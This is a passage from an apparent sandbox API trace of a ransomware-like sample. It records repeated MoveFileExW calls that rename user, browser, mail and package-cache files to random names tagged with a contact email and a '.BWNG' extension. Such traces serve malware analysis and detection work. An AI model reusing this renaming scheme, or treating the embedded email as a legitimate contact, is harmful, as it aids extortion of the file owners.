lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061237955) returned 1 [0128.661] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].CHpDb2p0-ytSRuAat.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].chpdb2p0-ytsruaat.bwng"), dwFlags=0x1) returned 1 [0128.662] GetTickCount () returned 0x1167b68 [0128.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061442539) returned 1 [0128.662] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\[billwong73@yahoo.com].g2CJw56F-jNUvkRR4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\[billwong73@yahoo.com].g2cjw56f-jnuvkrr4.bwng"), dwFlags=0x1) returned 1 [0128.664] GetTickCount () returned 0x1167b68 [0128.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061630496) returned 1 [0128.664] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\[billwong73@yahoo.com].hADctWVQ-5fOcP01F.BWNG" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\[billwong73@yahoo.com].hadctwvq-5focp01f.bwng"), dwFlags=0x1) returned 1 [0128.666] GetTickCount () returned 0x1167b68 [0128.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061802821) returned 1 [0128.666] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].sWkGlEFM-0SlFoxYr.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].swkglefm-0slfoxyr.bwng"), dwFlags=0x1) returned 0 [0128.667] GetTickCount () returned 0x1167b68 [0128.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061897950) returned 1 [0128.667] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].06U8eLJP-aTISNOJP.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].06u8eljp-atisnojp.bwng"), dwFlags=0x1) returned 0 [0128.667] GetTickCount () returned 0x1167b68 [0128.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061958757) returned 1 [0128.668] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].Sh5UcBvT-j1dcCQnA.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].sh5ucbvt-j1dccqna.bwng"), dwFlags=0x1) returned 0 [0128.668] GetTickCount () returned 0x1167b68 [0128.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061999706) returned 1 [0128.668] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].nknWu00a-7m8vCObG.BWNG" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].nknwu00a-7m8vcobg.bwng"), dwFlags=0x1) returned 0 [0128.669] GetTickCount () returned 0x1167b68 [0128.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27062091629) returned 1 [0128.669] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].HutY50g8-bg9m93us.BWNG" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].huty50g8-bg9m93us.bwng"), dwFlags=0x1) returned 0 [0128.670] GetTickCount () returned 0x1167b77 [0128.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27062193441) returned 1 [0128.670] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].JVSnoFIZ-283hepyN.BWNG" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].jvsnofiz-283hepyn.bwng"), dwFlags=0x1) returned 0 [0128.670] GetTickCount () returned 0x1167b77 [0128.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27062259335) returned 1 [0128.671] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].Okto4boY-lL2u2MFs.BWNG" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].okto4boy-ll2u2mfs.bwng"), dwFlags=0x1) returned 0 [0128.671] GetTickCount () returned 0x1167b77 [0128.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27062330670) returned 1 [0128.671] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\[billwong73@yahoo.com].3JVWMB8R-3T47vNTK.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\[billwong73@yahoo.com].3jvwmb8r-3t47vntk.bwng"), dwFlags=0x1) returned 1 [0128.675] GetTickCount () returned 0x1167b77 [0128.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27062694057) returned 1 [0128.675] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\[billwong73@yahoo.com].lfEcDKrX-Ll6o5b1W.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\[billwong73@yahoo.com].lfecdkrx-ll6o5b1w.bwng"), dwFlags=0x1) returned 1 [0128.677] GetTickCount () returned 0x1167b77 [0128.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27062893886) returned 1 [0128.677] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].Y1rfSoc5-vQwdodCo.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].y1rfsoc5-vqwdodco.bwng"), dwFlags=0x1) returned 1 [0128.678] GetTickCount () returned 0x1167b77 [0128.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27063053700) returned 1 [0128.679] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].r82ppTJ8-M8Jymfc7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].r82pptj8-m8jymfc7.bwng"), dwFlags=0x1) returned 1 [0128.680] GetTickCount () returned 0x1167b77 [0128.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27063245815) returned 1 [0128.680] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].PA8kwj9r-7U3ypFx9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].pa8kwj9r-7u3ypfx9.bwng"), dwFlags=0x1) returned 1 [0128.682] GetTickCount () returned 0x1167b77 [0128.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27063618603) returned 1 [0128.684] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].Bw6yWoFp-Oe7bk5QV.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].bw6ywofp-oe7bk5qv.bwng"), dwFlags=0x1) returned 1 [0128.723] GetTickCount () returned 0x1167ba6 [0128.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27067517505) returned 1 [0128.724] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].CA4UOjZH-MDGgIwLe.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].ca4uojzh-mdggiwle.bwng"), dwFlags=0x1) returned 1 [0128.725] GetTickCount () returned 0x1167ba6 [0128.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27067776713) returned 1 [0128.726] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].LKR1Odhx-kbcCOaC3.BWNG" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].lkr1odhx-kbccoac3.bwng"), dwFlags=0x1) returned 1 [0128.728] GetTickCount () returned 0x1167ba6 [0128.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27067997035) returned 1 [0128.728] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Downloads\\[billwong73@yahoo.com].6YkjteZA-Yqw5EzmA.BWNG" (normalized: "c:\\users\\default\\downloads\\[billwong73@yahoo.com].6ykjteza-yqw5ezma.bwng"), dwFlags=0x1) returned 1 [0128.730] GetTickCount () returned 0x1167ba6 [0128.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27068193352) returned 1 [0128.730] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].acfRUM7Q-aXcEWTlX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].acfrum7q-axcewtlx.bwng"), dwFlags=0x1) returned 1 [0128.732] GetTickCount () returned 0x1167bb6 [0128.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27068388691) returned 1 [0128.732] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\[billwong73@yahoo.com].9HXzWRwH-2QfgfdBX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\[billwong73@yahoo.com].9hxzwrwh-2qfgfdbx.bwng"), dwFlags=0x1) returned 1 [0128.734] GetTickCount () returned 0x1167bb6 [0128.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27068579085) returned 1 [0128.734] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\[billwong73@yahoo.com].uQpFqkce-WiaLx7im.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\[billwong73@yahoo.com].uqpfqkce-wialx7im.bwng"), dwFlags=0x1) returned 1 [0128.735] GetTickCount () returned 0x1167bb6 [0128.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27068736657) returned 1 [0128.735] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\[billwong73@yahoo.com].S3d5mcRu-VWnPkznQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\[billwong73@yahoo.com].s3d5mcru-vwnpkznq.bwng"), dwFlags=0x1) returned 1 [0128.737] GetTickCount () returned 0x1167bb6 [0128.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27068897816) returned 1 [0128.737] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\[billwong73@yahoo.com].9Ty13e52-ttXdbQ7b.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\[billwong73@yahoo.com].9ty13e52-ttxdbq7b.bwng"), dwFlags=0x1) returned 1 [0128.739] GetTickCount () returned 0x1167bb6 [0128.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27069095662) returned 1 [0128.739] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\[billwong73@yahoo.com].5hcuHBmS-En45Wc2R.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\[billwong73@yahoo.com].5hcuhbms-en45wc2r.bwng"), dwFlags=0x1) returned 1 [0128.740] GetTickCount () returned 0x1167bb6 [0128.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27069269649) returned 1 [0128.741] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\[billwong73@yahoo.com].FkPMTQAJ-mfryPwRC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\[billwong73@yahoo.com].fkpmtqaj-mfrypwrc.bwng"), dwFlags=0x1) returned 1 [0128.742] GetTickCount () returned 0x1167bb6 [0128.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27069455952) returned 1 [0128.743] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\[billwong73@yahoo.com].cYZQeZSD-6lhJHfxw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\[billwong73@yahoo.com].cyzqezsd-6lhjhfxw.bwng"), dwFlags=0x1) returned 1 [0128.744] GetTickCount () returned 0x1167bb6 [0128.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27069612643) returned 1 [0128.744] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\[billwong73@yahoo.com].bbOYaQlD-1s7DeSeW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\[billwong73@yahoo.com].bboyaqld-1s7desew.bwng"), dwFlags=0x1) returned 1 [0128.745] GetTickCount () returned 0x1167bb6 [0128.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27069771035) returned 1 [0128.746] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].lZtAoRl3-xakFe23F.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].lztaorl3-xakfe23f.bwng"), dwFlags=0x1) returned 1 [0128.747] GetTickCount () returned 0x1167bb6 [0128.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27070138977) returned 1 [0128.750] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].e6HalvAL-COA2nPyE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].e6halval-coa2npye.bwng"), dwFlags=0x1) returned 1 [0128.751] GetTickCount () returned 0x1167bc5 [0128.751] 